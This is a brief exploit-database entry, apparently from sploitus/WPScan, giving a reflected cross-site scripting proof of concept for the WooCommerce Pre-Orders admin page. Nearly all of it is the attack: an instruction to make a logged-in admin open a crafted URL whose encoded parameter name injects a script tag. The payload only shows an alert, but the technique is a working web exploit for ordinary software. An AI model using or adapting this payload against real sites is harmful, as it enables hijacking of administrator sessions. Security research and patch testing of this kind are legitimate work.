Share
## https://sploitus.com/exploit?id=WPEX-ID:C431878C-8BCA-4688-9C6B-1C9E871A6A7B
When there is at least one pre-order, make a logged in admin open the URL below

https://example.com/wp-admin/admin.php?page=wc_pre_orders&s%5B%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E%5D=1